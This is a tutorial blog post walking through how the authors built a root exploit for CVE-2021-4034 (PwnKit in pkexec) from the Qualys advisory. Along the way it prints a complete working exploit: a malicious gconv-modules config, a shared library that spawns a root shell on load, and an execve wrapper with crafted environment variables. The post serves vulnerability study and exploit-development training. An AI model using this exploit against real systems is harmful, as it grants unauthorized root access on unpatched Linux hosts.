Writing an exploit for CVE-2021-4034
Intro
Recently, a major local privilege escalation vulnerability (https://nvd.nist.gov/vuln/detail/CVE-2021-4034) was discovered by the Qualys Research Team in pkexec, a SUID binary that is installed by default on many Linux distributions. Helpfully, a detailed vulnerability advisory was provided by Qualys; the advisory can be found here:
https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
A useful training exercise for exploit developers is to attempt to craft an exploit for a publicly known vulnerability based on limited details. For several reasons, CVE-2021-4034 is a great candidate for this exercise:
- The linked advisory is very detailed but does not provide a proof of concept exploit
- While the vulnerability is technically a memory corruption issue, exploiting the vulnerability does not require bypassing any memory corruption mitigations, greatly reducing the complexity of exploitation; this makes the vulnerability a good introduction to this exercise for those who haven’t tried it before
- pkexec is set up by default on many Linux distributions, which means you don’t have to spend lots of time setting up a complex research environment in order to start trying to exploit the issue
- As a bonus, the bug is interesting and was only recently publicly disclosed at the time of this writing
Therefore, I and my colleague Cole Houston chose to apply this exercise to this vulnerability. By the time we began, public proof of concept (PoC) exploits already existed for this vulnerability, so we worked on this solely for the purposes of learning (and fun) rather than trying to develop a PoC before anyone else. Once we began, our goal was to understand the vulnerability and develop a working exploit by only examining the details in the vulnerability advisory.
This post documents the process of writing an exploit for a publicly known vulnerability based on a vulnerability description. Because the Qualys advisory for this issue is quite detailed, this process ended up being reasonably beginner-friendly, making this vulnerability a good starting point for those interested in trying their hand at writing an exploit for a real-world bug.
Initial steps — understanding the vulnerability
The first step in the exploit writing process was to gain an understanding of the vulnerability. If you haven’t read the Qualys advisory (linked above) yet and want to follow along, take the time to read through it. This post will only summarize the full advisory.
Reading through the advisory reveals key details, including the following:
- The bug is triggered when argc is 0
- The bug involves an out-of-bounds (OOB) read and OOB write
- The bug ultimately allows an attacker-controlled value to be written to the portion of the stack that holds environment variables
- This enables an attacker to reintroduce an environment variable that would’ve been cleared when pkexec was initially run, because some dangerous environment variables must be cleared for SUID binaries
We’ll return to these details later on (we had to revisit them more than once during the exploit writing process), but for now, this is enough to understand the general outline of the vulnerability. The second half of the advisory focuses on how this issue can be leveraged to achieve code execution as the root user.
Understanding the exploitation method
Let’s first examine the key details of this section of the advisory:
- Not long after the bug is triggered, environment variables will be cleared by pkexec anyway. This means we’ve only got a small window during which to exploit the presence of an attacker-introduced environment variable
- One of the functions called when preparing to clear environment variables is validate_environment_variable()
- This function internally calls the g_printerr() function
- In turn, if the CHARSET environment variable exists and its value is a character set other than UTF-8, g_printerr() can call iconv_open()
- iconv_open() reads a configuration file to determine what shared library to use to aid in character conversion
- Normally iconv_open() uses a default path for the configuration file. However, if the GCONV_PATH environment variable exists, it’ll read that instead to find the directory that should contain a configuration file
- GCONV_PATH is considered unsafe and is cleared when running SUID binaries. However, it just so happens that we have a bug that allows us to reintroduce it…
There are quite a few details to absorb here. However, the information we need to aid in writing our exploit isn’t too complex. We know that when we call pkexec, we’ll need to set the CHARSET variable and give it a value other than UTF-8. We also know that we need to somehow cause an error to be triggered in the validate_environment_variable() function so that g_printerr() will be called and our CHARSET variable will be read. Finally, we know that we’ll want GCONV_PATH to point to a directory we control with a custom config file for iconv_open() and that the config file can point to a library we control. When iconv_open() loads the library, our code will get executed as root.
This is a good start, but there are a few details that aren’t spelled out quite as explicitly. Let’s take a look at those.
Filling in the gaps
Though the advisory is excellent and far more detailed than a typical CVE advisory, there are some small gaps or required inferences that require close reading to identify. The first slight gap is exactly how we can trigger the error within validate_environment_variable() so that g_printerr() will be called. The advisory doesn’t technically tell us how to do that, but the source code snippet it includes provides us with a good hint (note the line I’ve marked with //[*]):
1 2 3 4 5 6 7 8 |
383 validate_environment_variable (const gchar *key, 384 const gchar *value) 385 { ... 406 log_message (LOG_CRIT, TRUE, 407 "The value for the SHELL variable was not found the /etc/shells file"); //[*] 408 g_printerr ("\n" 409 "This incident has been reported.\n"); |
So it seems an error gets triggered when the SHELL variable’s value isn’t found in the /etc/shells file. Why is it inspecting this variable at all? Isn’t it going to clear the environment anyway? Let’s take a look at the full (unpatched) source code (https://github.com/wingo/polkit/blob/4c9a813f3fc1ada4fcce508d286e95f965a3002a/src/programs/pkexec.c).
Back on lines 457 – 470, some environment variables are set aside to be saved:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
const gchar *environment_variables_to_save[] = { "SHELL", "LANG", "LINGUAS", "LANGUAGE", "LC_COLLATE", "LC_CTYPE", "LC_MESSAGES", "LC_MONETARY", "LC_NUMERIC", "LC_TIME", "LC_ALL", "TERM", "COLORTERM", |
And if we refer back to the source code reproduced by the advisory, we can see that pkexec iterates over the environment_variables_to_save[] array and calls validate_environment_variable() on each value in the array:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
639 argv[n] = path = s; ... 657 for (n = 0; environment_variables_to_save[n] != NULL; n++) 658 { 659 const gchar *key = environment_variables_to_save[n]; ... 662 value = g_getenv (key); ... 670 if (!validate_environment_variable (key, value)) ... 675 } ... 702 if (clearenv () != 0) |
Now we understand why the SHELL environment variable is even relevant. Let’s take a quick look at the contents of the /etc/shells file (this is pulled from the VM I used for developing the exploit):
1 2 3 4 5 6 7 8 9 |
# /etc/shells: valid login shells /bin/sh /bin/bash /usr/bin/bash /bin/rbash /usr/bin/rbash /usr/bin/sh /bin/dash /usr/bin/dash |
So all we should have to do is ensure that when we call pkexec, the SHELL environment variable is set and has a value other than the ones available in /etc/shells. That should allow us to trigger the call to g_printerr().
Next up, we need to understand how to call pkexec. Recall that in order to trigger the bug, we need argc to be 0. However, if we call pkexec from the command line, argc will at least include the program name, so we’ll never get argc to be 0. While the advisory doesn’t explicitly mention this problem, there’s once again a very clear hint. Consider this quote from the advisory (emphasis mine):
“Last-minute note: polkit also supports non-Linux operating systems such
as Solaris and *BSD, but we have not investigated their exploitability;
however, we note that OpenBSD is not exploitable, because its kernel
refuses to execve() a program if argc is 0.”
So rather than call pkexec on the command line, we’ll want to write a program that uses execve() to call pkexec instead. execve() can declare that argc is null when calling a program, enabling us to trigger the bug. Even if you didn’t notice this note in the advisory, there’s ample information about this technique available, such as this StackOverflow thread: https://stackoverflow.com/questions/8113786/executing-a-process-with-argc-0
Lastly, we know we need to set the CHARSET environment variable to something other than UTF-8 in order to cause g_printerr() to call iconv_open(), but it’s not clear what value CHARSET needs to have. This is something we’ll cover in a later section, but it’s worth noting as one other item that isn’t completely spelled out.
During the exploit development process, the process of filling in these gaps was not so clean or organized. It required multiple re-reads of the advisory. These items have been organized here to make the post easier to follow, but in practice there was a lot of iteration to determine which details mattered.
Breaking the exploit into smaller pieces
None of the steps in writing this exploit are actually very technically challenging. However, there are a lot of small details to notice that are crucial to developing a working exploit. In order to make the process of sifting through all these details a bit less daunting, I found it helpful to think of this exploit in two stages:
- Successfully triggering the bug
- Getting iconv_open() to run, read an attacker-controlled config file and load an attacker-controlled library
The second stage seemed like it would be easier to delve into in isolation. iconv_open() can be invoked without needing to call it through pkexec, of course. I decided that it might be simplest to work backwards, beginning by just manually invoking iconv_open() and getting it to load a custom library. This would help ensure that the exploitation strategy was working without introducing the extra complexity of needing to figure all of this out in a debugger while triggering the bug in pkexec.
With that in mind, let’s break the exploit into smaller pieces by first examining iconv_open() and getting it to execute some custom code. Once that’s done, we can turn our attention to attempting to trigger the bug in pkexec successfully. Finally, we can link the two stages together.
Getting iconv_open() to run custom code
We know from the advisory that iconv_open() will use a default configuration file path unless the GCONV_PATH environment variable is set. A good place to start might be to investigate that default config file; if we know what it looks like, we can probably just copy the portion we want for our malicious one and make some minimal changes. So exactly where is this config file? Let’s have a look at a manual page for the iconv utility:
https://man7.org/linux/man-pages/man1/iconv.1.html
The section of that page entitled “Environment” contains a useful snippet (emphasis mine):
“If GCONV_PATH is not set, iconv_open(3) loads the system gconv
module configuration cache file created by iconvconfig(8) and
then, based on the configuration, loads the gconv modules
needed to perform the conversion.“
Okay, so it sounds like we’re looking for the file iconvconfig creates. Let’s take a look at a manual page for iconvconfig, too:
https://manpages.courier-mta.org/htmlman8/iconvconfig.8.html
That page tells us that /usr/lib/gconv/gconv-modules is the “Usual system default gconv module configuration file”, so the next step is to examine that in our test environment. Because the test environment used for this blog post is 64-bit, the path we’ll use is actually /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.
Upon taking a look at that config file, we’re presented with content that looks something like this snippet:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
# All lines contain the following information: # If the lines start with `module' # fromset: either a name triple or a regular expression triple. # toset: a name triple or an expression with \N to get regular # expression matching results. # filename: filename of the module implementing the transformation. # If it is not absolute the path is made absolute by prepending # the directory the configuration file is found in. # cost: optional cost of the transformation. Default is 1. # If the lines start with `alias' # alias: alias name which is not really recognized. # name: the real name of the character set alias ISO-IR-4// BS_4730// alias ISO646-GB// BS_4730// alias GB// BS_4730// alias UK// BS_4730// alias CSISO4UNITEDKINGDOM// BS_4730// module BS_4730// INTERNAL ISO646 2 module INTERNAL BS_4730// ISO646 2 |
So it looks like we’ve got some items that are aliases pointing to “BS_4730”; then we have a line declaring that BS_4730 is a module. This line points to “ISO646”. It may not be immediately obvious what this actually means, so let’s list out the contents of the /usr/lib/x86_64-linux-gnu/gconv/ directory:
1 2 3 4 5 6 7 8 9 10 11 12 |
ls -al /usr/lib/x86_64-linux-gnu/gconv/ total 8420 drwxr-xr-x 2 root root 12288 Apr 20 2021 . drwxr-xr-x 91 root root 69632 Feb 2 08:30 .. -rw-r--r-- 1 root root 26856 Mar 31 2021 ANSI_X3.110.so -rw-r--r-- 1 root root 18664 Mar 31 2021 ARMSCII-8.so -rw-r--r-- 1 root root 18664 Mar 31 2021 ASMO_449.so […truncated…] rw-r--r-- 1 root root 18664 Mar 31 2021 ISO_5428.so -rw-r--r-- 1 root root 30984 Mar 31 2021 ISO646.so -rw-r--r-- 1 root root 26856 Mar 31 2021 ISO_6937-2.so […truncated…] |
Within that output, we can see that there’s a file in the directory called “ISO646.so”. Since we know that this config file is used to point to gconv modules to use when converting one character set to another, we can deduce that this is a shared library that the config file tells iconv_open() to load when a conversion involving the ISO646 character set is needed.
We now have several useful pieces of information. We know what the config file structure should be, and when we get around to making our malicious config file for our exploit, we can just outright copy a snippet of this file. We know that the file points to shared libraries that are in the same directory as the config file. We know the name of a legitimate shared library. If we don’t want to mess with changing the name of it in our malicious file, we can even call our malicious library “ISO646.so”.
Next, let’s try setting up our own malicious config file and shared library. Then we can set the GCONV_PATH environment variable to point to our config file instead of the legitimate one. Finally, we can try invoking iconv on the command line with some arguments that should trigger a call to iconv_open().
To start, let’s just copy a portion of the original config file. We don’t need the whole thing, so we’ll just take the starting portion we saw earlier:
1 2 3 4 |
module BS_4730// INTERNAL ISO646 2 module INTERNAL BS_4730// ISO646 2 alias ISO646-GB// BS_4730// module BS_4730// INTERNAL ISO646 2 |
We can go ahead and make a test directory and then place that content into a file called “gconv-modules” within the test directory. If we look back at the manual page at https://man7.org/linux/man-pages/man1/iconv.1.html, we’ll see that it mentions that if GCONV_PATH is defined, then “iconv_open(3) first tries to load the configuration files by searching the directories in GCONV_PATH in order…”. Note that it specifies that it searches directories in GCONV_PATH, but not file names. This means that GCONV_PATH only points to a directory and not a specific file. Therefore, as far as I am aware, the name of the config file must be “gconv-modules” for iconv_open() to be able identify it.
(Note that gconv-modules uses a dash, not an underscore. Some guy I know inadvertently used an underscore when working on this exploit and spent an unnecessary amount of time trying to figure out why the exploit wasn’t working, and then made the same mistake again while writing this blog post.)
Next up, we’ll want to create our malicious shared library. We know that iconv_open() will load the library when it needs to convert a character set, but not what exactly the legitimate library does or what functions within the library get called. One path forward might be to dig into the source code for the library you’re targeting and rewrite one of the called functions to spawn a shell or perform some other malicious action. However, that would involve some unnecessary effort. Instead, we can just create a minimal shared library that spawns a shell right when it’s loaded. To do this, we just need to define an _init() function, which will be called when the library is first loaded.
Here’s the code we ended up with (it should be saved in a file called ISO646.c):
1 2 3 4 5 6 7 8 9 10 11 |
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> void _init(){ setgid(0); setuid(0); setegid(0); seteuid(0); system("/bin/bash"); } |
When the _init() function is called, a bash shell gets spawned. To compile this library, you can run the following two commands:
1 2 |
gcc -fPIC -c ISO646.c (this should emit a file called ISO646.o) ld -shared -shared ISO646.o -o ISO646.so |
Make sure that the compiled .so file is placed within the same directory as the malicious gconv-modules file.
Now that we’ve got the config file and library created, we can go ahead and test invoking iconv_open(). To do this, we can just invoke iconv on the command line with some arguments that tell it to convert from an arbitrary character set to ISO646-GB. First, we can create a text file to use when testing iconv. Go ahead and create a file called “test.txt” containing some arbitrary content.
Don’t forget that by default, iconv_open() will use the original config file path at /usr/lib/x86_64-linux-gnu/gconv/gconv-modules. We need to set the GCONV_PATH environment variable to point to our testing directory containing our malicious config file.
First, let’s go ahead and set that environment variable and point it to the test directory we’ve created containing our config file and library. Here’s an example of how I’m setting this on my test machine:
1 |
export GCONV_PATH=/home/wintermute/cve-2021-4034/test |
With that set, we can go ahead and invoke iconv with some arguments that will cause it to run iconv_open(). In the following command, we’re telling iconv to convert from UTF-8 to ISO646-GB (the character set we’ve included a reference to in the config file) and we’re passing it the path to the test text file we created earlier.
1 |
iconv -f UTF-8 -t ISO646-GB /tmp/test.txt |
Running that command should cause a bash shell to be spawned, indicating that iconv_open() is being called and is parsing our malicious config file, thereby loading our shared library. Note that if you’re running these commands from bash, it could be easy to miss that a new bash shell has been spawned, since it should look the same as the old one. If you run the above commands from sh instead of bash, it should be easier to observe that the shell has been spawned, as seen in the following screenshot:
Triggering the bug in pkexec
So now we have the easy part figured out. Next we need to trigger the bug in pkexec and then move on to using the bug to introduce the GCONV_PATH environment variable. As a refresher, when we ultimately try to exploit the bug, we’ll need to set the SHELL environment variable to an invalid value in order to cause a call to g_printerr(). We’ll also need to set the CHARSET environment variable so that g_printerr() will call iconv_open(), which is the call we ultimately want to reach. Both SHELL and CHARSET are considered safe environment variables, so we don’t need to worry about them being cleared when we run pkexec.
For now, though, let’s just worry about triggering the bug and observing it in a debugger. (You might actually be able to write this whole exploit without needing a debugger at all, but it was helpful for us while writing the exploit.) Throughout this blog post, I’ll be making use of the excellent GEF (https://github.com/hugsy/gef), a project that extends GDB’s functionality. GEF makes GDB far more practical to use for exploit development by adding new commands and by causing GDB to output more information by default. If you haven’t tried it before, I highly recommend giving it a shot; even if you never use the new commands, the extra information that GEF makes available at a glance makes the tool well worth leveraging.
Before we can start debugging, though, we’ll need to call pkexec properly. Don’t forget that earlier we learned that to trigger the bug, pkexec must be called with argc being set to 0. To do that, we can’t call it from the command line, and instead need to call pkexec using execve(). So let’s begin by making a minimal C program that will act as a wrapper for pkexec:
1 2 3 4 5 6 |
#include <stdio.h> void main(){ char *args[] = { NULL }; execve("/usr/bin/pkexec", args); } |
All we’re doing here is setting the args array to NULL and then calling pkexec using execve(). Let’s go ahead and save this code to a file called “exploit.c” and then compile it with the following command:
1 |
gcc exploit.c -o exploit |
With the program compiled, let’s take it for a spin:
1 2 |
./exploit Cannot run program SHELL=/bin/bash: No such file or directory |
Looks like we triggered the bug! We didn’t pass any arguments to pkexec, but it’s trying to execute a program called “SHELL=/bin/bash”. If you read the advisory and understood the bug, you already understand what’s happening here, but just to clear up any confusion, let’s quickly glance at our first few environment variables:
1 2 3 4 5 |
wintermute@test:~/cve-2021-4034/test$ env SHELL=/bin/bash SESSION_MANAGER=local/test:@/tmp/.ICE-unix/1473,unix/test:/tmp/.ICE-unix/1473 QT_ACCESSIBILITY=1 […truncated…] |
So SHELL is our very first environment variable. It’s being read out-of-bounds and made into an argument. A good next step would be to try introducing a new environment variable with execve(). This is also an opportunity to observe the vulnerable behavior in a debugger. If we refer back to the advisory, we can examine these two crucial points:
“- if our PATH environment variable is “PATH=name”, and if the directory
“name” exists (in the current working directory) and contains an
executable file named “value”, then a pointer to the string
“name/value” is written out-of-bounds to envp[0];
– or, if our PATH is “PATH=name=.”, and if the directory “name=.” exists
and contains an executable file named “value”, then a pointer to the
string “name=./value” is written out-of-bounds to envp[0].”
These two bullet points probably took more re-reading than anything else in the whole advisory. The first thing to note here is that “value” is just a placeholder for our very first environment variable passed to pkexec. Another important item to note is that when you create that first environment variable, you don’t have to use the structure of NAME=VALUE. You can eschew the equals sign and right-hand value altogether and do something like this:
1 |
char *newenviron[] = {"TEST",0}; |
It’s a little confusing, but the second bullet point is basically telling us that if we create a second environment variable called “PATH=name=”, so long as some conditions are met, then we’ll end up getting the bug to create an environment variable called “name=./value”, where value is the first environment variable created. This will make more sense when we look at some code.
Let’s update our exploit code to look like this:
1 2 3 4 5 6 7 |
#include <stdio.h> void main(){ char *args[] = { NULL }; char *newenviron[] = {"test","PATH=example=",0}; // add two environment variables execve("/usr/bin/pkexec", args, newenviron); } |
So we’re now creating an environment variable called “test” and then creating a second one called “PATH=example=” and passing them both to pkexec. Recall that, per the bullet point in the advisory, the directory referenced in the PATH variable needs to actually exist, and it needs to contain an executable with the name of the first environment variable. To satisfy this requirement, from the testing directory we’ve been using (the one that houses our exploit, config file and library), let’s go ahead and make a directory called “example=” (note the equals sign). Within that directory, place an executable file and name it “test” (you can just copy and rename the exploit binary if you like; it doesn’t actually matter what this file is, as far as I know).
To help avoid confusion, here’s the directory structure on my test machine at this stage in the exploit development process:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
root@test:/home/wintermute/cve-2021-4034/test# ls -al total 60 drwxrwxr-x 3 wintermute wintermute 4096 Feb 24 11:11 . drwxrwxr-x 4 wintermute wintermute 4096 Feb 23 15:44 .. drwxr-xr-x 2 root root 4096 Feb 24 11:11 'example=' -rwxr-xr-x 1 root root 16152 Feb 24 10:42 exploit -rw-rw-r-- 1 wintermute wintermute 181 Feb 24 10:42 exploit.c -rw-rw-r-- 1 wintermute wintermute 1766 Feb 23 15:47 gconv-modules -rw-rw-r-- 1 wintermute wintermute 146 Feb 24 07:53 ISO646.c -rw-rw-r-- 1 wintermute wintermute 1816 Feb 24 07:54 ISO646.o -rwxrwxr-x 1 wintermute wintermute 14040 Feb 24 07:54 ISO646.so root@test:/home/wintermute/cve-2021-4034/test# ls -al example= total 24 drwxr-xr-x 2 root root 4096 Feb 24 11:11 . drwxrwxr-x 3 wintermute wintermute 4096 Feb 24 11:11 .. -rwxr-xr-x 1 root root 16152 Feb 24 11:11 test root@test:/home/wintermute/cve-2021-4034/test# |
We can now check out our exploit in a debugger, but first there’s one other quick detail to deal with. You may want to observe what happens if you just try to debug the exploit in GDB as a standard user:
1 2 3 4 5 6 7 8 |
gef> r Starting program: /home/wintermute/cve-2021-4034/test/exploit process 7189 is executing new program: /usr/bin/pkexec [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". pkexec must be setuid root [Inferior 1 (process 7189) exited with code 0177] gef> q |
Note that we get a message stating “pkexec must be setuid root”. You can check out lines 506-511 of the unpatched source code (https://github.com/wingo/polkit/blob/4c9a813f3fc1ada4fcce508d286e95f965a3002a/src/programs/pkexec.c) for a little more clarity:
1 2 3 4 5 6 |
/* check for correct invocation */ if (geteuid () != 0) { g_printerr ("pkexec must be setuid root\n"); goto out; } |
So it’s checking to make sure the program is being run as root. But wait, isn’t pkexec a SUID binary? Doesn’t that mean it’s running as root? We didn’t get this error when we ran the binary outside of GDB, so why are we getting it within GDB?
The answer is that SUID binaries drop their privileges when they’re run from within a debugger. Of course this makes sense — if you could run a program with more elevated privileges than your current user within a debugger, that would be a massive security hole. A debugger allows you to alter the memory of the running program, so you could just make the program do anything you wanted and easily elevate your privileges.
The easiest way to deal with this is simply to debug your exploit as the root user. You could also probably just use GDB to patch out this check at runtime in order to prevent the error from being triggered (note that this wouldn’t prevent the binary from dropping root privileges; it would just keep it from producing this error and closing), but that’s a bit more involved than just running the exploit as root. From this point onward, let’s perform our testing as root unless otherwise specified.
Let’s launch the C wrapper in GDB and then run the command “set follow-fork-mode child”. This command ensure that when pkexec is invoked from within our wrapper, we’ll begin debugging pkexec instead of continuing to debug our wrapper. We can also run the command “break main” and then go ahead and run the program, continuing until we hit our breakpoint within pkexec.
From here, what we really want to find is the moment where the environment variable gets written out-of-bounds. To do this, we can run the following command:
1 |
disassemble main |
Here’s the truncated output:
1 2 3 4 5 6 7 8 9 10 11 |
[…truncated…] 0x000056147a8bcdde <+798>: call 0x56147a8bc7e0 <g_find_program_in_path@plt> 0x000056147a8bcde3 <+803>: mov rbx,rax 0x000056147a8bcde6 <+806>: test rax,rax 0x000056147a8bcde9 <+809>: je 0x56147a8bd35e <main+2206> 0x000056147a8bcdef <+815>: mov rdi,r12 0x000056147a8bcdf2 <+818>: mov r12,rbx 0x000056147a8bcdf5 <+821>: call 0x56147a8bc560 <g_free@plt> 0x000056147a8bcdfa <+826>: mov rax,QWORD PTR [rsp+0x30] 0x000056147a8bcdff <+831>: mov QWORD PTR [rax],rbx […truncated…] |
If you look back at the vulnerable lines included in the Qualys advisory, you can see that there’s a call to g_find_program_in_path() shortly before the out-of-bounds write. If you examine the full source code, that’ll help provide some extra context so that you know what you’re looking for in the disassembly. With that in mind, we can deduce that the disassembly lines at *main+826 and *main+831 likely correspond to this source code line responsible for the out-of-bounds write:
1 |
argv[n] = path = s; |
Let’s go ahead and set a breakpoint at *main+826 and continue execution.
Notice that the rbx register contains the value “example=/test”. Performing two single steps in GDB will show that this value gets successfully placed in rax. This confirms that we’re writing the value we expected to, where the name of the directory acts as the left-hand side of the new environment variable and the name of the very first environment variable acts as the right-hand side.
That’s great! We’re on the right track here. The environment variable we really want to introduce is GCONV_PATH, so let’s update our exploit code a little and follow the same debugging process to confirm that we’re able to introduce this variable.
Putting it all together:
Let’s think about what we’ll need to change. First off, we should make a directory called “GCONV_PATH=” instead of our old “example=” directory. Then we can just update our second environment variable passed via execve() to be “PATH=GCONV_PATH=”.
What value do we want to write for GCONV_PATH, though? Don’t forget that the value is the directory that will get checked by iconv_open() for a config file, so we’ll want to be sure we make the value point to some directory we can control. What’s a simple directory we’ll probably be able to write to most of the time? A good option is /tmp (though there are probably lots of approaches you could take here).
So we know we want to set GCONV_PATH=tmp. If that’s the directory that’ll get checked for a config file, then we also need to be sure to copy our config file and shared library both to /tmp. We need to make the “GCONV_PATH=” directory, and within it we need to place an arbitrary executable file called “tmp”.
Once again, to avoid confusion, here are the directory listings on my test machine for all of the relevant directories:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
root@test:/home/wintermute/cve-2021-4034/test# ls -al total 60 drwxrwxr-x 3 wintermute wintermute 4096 Feb 24 11:39 . drwxrwxr-x 4 wintermute wintermute 4096 Feb 23 15:44 .. -rwxr-xr-x 1 root root 16152 Feb 24 11:15 exploit -rw-rw-r-- 1 wintermute wintermute 189 Feb 24 11:38 exploit.c -rw-rw-r-- 1 wintermute wintermute 1766 Feb 23 15:47 gconv-modules drwxr-xr-x 2 root root 4096 Feb 24 11:40 'GCONV_PATH=' -rw-rw-r-- 1 wintermute wintermute 146 Feb 24 07:53 ISO646.c -rw-rw-r-- 1 wintermute wintermute 1816 Feb 24 07:54 ISO646.o -rwxrwxr-x 1 wintermute wintermute 14040 Feb 24 07:54 ISO646.so root@test:/home/wintermute/cve-2021-4034/test# ls -al GCONV_PATH= total 24 drwxr-xr-x 2 root root 4096 Feb 24 11:40 . drwxrwxr-x 3 wintermute wintermute 4096 Feb 24 11:39 .. -rwxr-xr-x 1 root root 16152 Feb 24 11:40 tmp root@test:/home/wintermute/cve-2021-4034/test# ls -al /tmp […truncated…] -rw-r--r-- 1 wintermute wintermute 1766 Feb 24 11:39 gconv-modules […truncated…] -rw-r--r-- 1 wintermute wintermute 14040 Feb 24 11:39 ISO646.so […truncated…] |
Here’s our updated exploit code:
1 2 3 4 5 6 7 |
#include <stdio.h> void main(){ char *args[] = { NULL }; char *newenviron[] = {"tmp","PATH=GCONV_PATH=",0}; // add two environment variables execve("/usr/bin/pkexec", args, newenviron); } |
There’s actually one more round of changes we’ll need to make on the exploit code before our exploit works, but it can be helpful to make small, iterative changes when developing an exploit. This helps avoid inadvertently breaking something and then having a larger number of changes to sift through to find the culprit.
We can go ahead and re-run the exploit, following the same debugging process we did earlier. At *main+826, we can see our environment variable looks as we expected it to:
Yay! We’ve successfully introduced the GCONV_PATH environment variable and we have it pointing to a directory that contains our malicious config file and shared library. We’ve almost won. Don’t forget why we’re going to all this effort to reintroduce GCONV_PATH into the environment, though; we need to get iconv_open() to be called. In order to do that, we need to trigger an error by having the SHELL environment variable set to an invalid value. That should be easy enough to do with execve(). There’s one last step: we need to make iconv_open() perform character conversion so that it needs our config file. The following information from the advisory is helpful:
“g_printerr() normally prints UTF-8 error messages, but it can printmessages in another charset if the environment variable CHARSET is notUTF-8 (note: CHARSET is not security sensitive, it is not an “unsecure”environment variable). To convert messages from UTF-8 to anothercharset, g_printerr() calls the glibc’s function iconv_open().”
So we need to set the CHARSET environment variable. What value do we need to give it? It was surprisingly difficult to find information on this variable or the values it should have. When we called iconv manually on the command line, we used ISO646-GB as the “to” character set, so maybe that’s an accepted value for CHARSET. Let’s just give that a shot and see what happens.
Here’s our exploit code:
1 2 3 4 5 6 7 |
#include <stdio.h> void main(){ char *args[] = { NULL }; char *newenviron[] = {"tmp","PATH=GCONV_PATH=","SHELL=/bin/definitelynotreal","CHARSET=ISO646-GB",0}; execve("/usr/bin/pkexec", args, newenviron); } |
At this point, we’ve got what we think is a full exploit. We can go ahead and return to being a standard, unprivileged user instead of root, and we can run this exploit outside of GDB. Let’s go ahead and give it a shot…
Success! Our exploit works and we can now successfully escalate our privileges from a low-privilege user to root.
Lessons learned:
Writing an exploit for this issue ended up being an instructive exercise. Here are a few lessons that this process emphasized:
- Read through the advisory several times until you understand the issue. If you’re writing an exploit for an issue that only has a brief description instead of a nice detailed advisory, then you’ll probably need to spend time diffing the vulnerable version of the source code/binary and the patched version to understand what the flaw was.
- An advisory, even a very good one, may not have all of the details you need, or at least it may not spell them all out. Be prepared to do some detective work throughout the exploit development process. Reviewing the source code beyond the snippets included in the advisory was helpful for tracking down some key details.
- It can be helpful to break the exploit development process into smaller pieces that can be worked on individually.
Hopefully, this post helped explain this vulnerability and its exploitation and encouraged readers to try the practice of writing exploits for publicly known vulnerabilities.